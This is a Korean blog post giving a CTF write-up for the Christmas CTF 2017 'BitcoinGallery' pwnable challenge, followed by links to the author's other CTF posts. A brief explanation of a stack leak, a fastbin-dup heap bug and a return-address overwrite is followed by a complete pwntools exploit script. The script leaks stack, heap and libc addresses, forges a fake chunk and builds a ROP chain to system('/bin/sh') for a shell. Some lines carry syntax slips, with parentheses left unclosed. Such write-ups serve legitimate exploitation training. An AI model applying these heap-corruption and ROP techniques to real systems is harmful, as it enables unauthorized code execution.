ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Christmas CTF 2017 BitcoinGallery
    Pwnable/CTF 2018. 1. 18. 23:09

    add title입력부분에서 stack에 입력을하고 마지막에 널값을 넣지않은채 strcpy함수를 호출하기때문에 내가 title에 입력한 버퍼뒤쪽 스택에있는 주소들을 릭 할수있다.


    free를 시킬때 unlink를 하고 free를 시킬때 이전 청크 story를 free시키고 NULL로 채우지 않기때문에 fastbin dup 취약점이 생기고, modify size 부분에서 realloc를 하는데 size 1보다 작은값을 막지 않기때문에 fastbin dup취약점이 이 부분에도 생긴다.


    title입력부분에 fake prevsize (0), fake size(0x31)을 적고 fastbin dup를 이용하여서 fd를 그쪽 주소로 넘긴다음 그 주소에있는 story포인터가 가르키는 주소를 스택 주소로 바꿔서 라이브러리 릭을하고 modify story를 보면 story주소를 가져오고 바로 전에 index를 입력을 한번 더 받는데 story 주소에서 너무크거나 0보다 작은 것 빼고는 +를 시켜서 내가 원하는 주소에 값을 넣을수있다. 

    내가 선택한 방법은 edit함수 ret를 조작하는건데 카나리랑 그런것들을 고려하고 오프셋만큼 입력을 하는데 세그먼트가 안 떠서 150개 정도 넣어서 테스트 한 후 ret에서 세그먼트가 뜨는것을 확인하고 esp가 가르키는 값 오프셋을 구한 후 rtl을 이용하여서 쉘을 따는 방법이다.


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    from pwn import *
     
    p=process("./BitcoinGallery")
     
    def add(title,size,story):
        p.sendlineafter('>> ','1')
        p.sendlineafter(': ',title)
        p.sendlineafter(': ',str(size))
        p.sendlineafter(': ',story)
     
    def add2(title,size,story):
        p.sendlineafter('>> ','1')
        p.sendlineafter(': ',title)
        p.sendlineafter(': ',str(size))
        p.recvuntil(': ')
        p.send(story)
     
     
    def delete(index):
        p.sendlineafter('>> ','2')
        p.sendlineafter(': ',str(index))
     
    def list():
        p.sendlineafter('>> ','3')
     
    def view(index):
        p.sendlineafter('>> ','4')
        p.sendlineafter(': ',str(index))
     
    def modify(index,which):
        p.sendlineafter('>> ','5')
        p.sendlineafter(': ',str(index))
        p.sendlineafter('> ',str(which))
     
    def GAZUAAAAA(coin):
        p.sendlineafter('>> ','6')
        p.sendlineafter('? ',coin)
     
    add("A"*7,32,"A"*7)
    view(0)
    p.recvuntil('A\n')
    stack = u64(p.recv(6)+"\x00\x00")
    print hex(stack)
    add("B\x00",32,"B"*7)
    add("C\x00",32,"D"*7)
    add("E\x00",32,"E"*7)
    delete(2)
    delete(1)
    add("a"*7,32,"")
    view(4)
    p.recvuntil('a\n')
    p.recv(6)
    heap = u64(p.recv(6)+"\x00\x00"- 0x0a
    print hex(heap)
    add("b\x00",32,"b")
    add("c\x00",32,"c")
    delete(5)
    delete(4)
    modify(0,2)
    p.sendlineafter('> ','0')
    delete(3)
    add("d"*4+p64(0x31),32,p64(heap+0x160))
    delete(6)
    add("b\x00",32,"bbb")
    add("c\x00",32,"ccc")
    sleep(1)
    p.sendlineafter('>> ','1')
    p.sendlineafter(': ',"z"*8)
    p.sendlineafter(': ','32')
    p.recvuntil(': ')
    p.send(p64(0)+p64(0x900)+p64(stack-0xe8))
    sleep(1)
    view(7)
    p.recvuntil('dddd')
    p.recv(1)
    p.recvuntil('\x99'*7)
    p.recv(1)
    libc_base = u64(p.recv(6)+"\x00\x00"- 0x3c5620 #_IO_2_1_stdout_ leak 
    malloc_hook = libc_base + 0x3c4b10
    free_hook = libc_base + 0x3c67a8
    pop_rdi = libc_base + 0x21102
    one_shot = libc_base + 0x45216
    system = libc_base + 0x45390
    cmd = libc_base + 0x18cd17
    print hex(libc_base)
    print hex(free_hook)
    print hex(malloc_hook)
     
    target = 0x108
    #print target edit function buffer over flow
    modify(7,3)
    print target
    p.sendlineafter('> ','\x08\x01')
    p.sendlineafter('=> ','a'*112+p64(pop_rdi)+p64(cmd)+p64(system))
    p.interactive()
     
    cs


    'Pwnable > CTF' 카테고리의 다른 글

    insomnihack CTF 2018 sapeloshop  (0) 2018.01.23
    Codegate 2017 Final building_owner  (0) 2018.01.21
    Codeblue 2017 simple memo pad  (0) 2018.01.17
    Codegate 2017 hunting  (0) 2018.01.17
    WITHCON 2017 bank  (0) 2018.01.15
Designed by Tistory.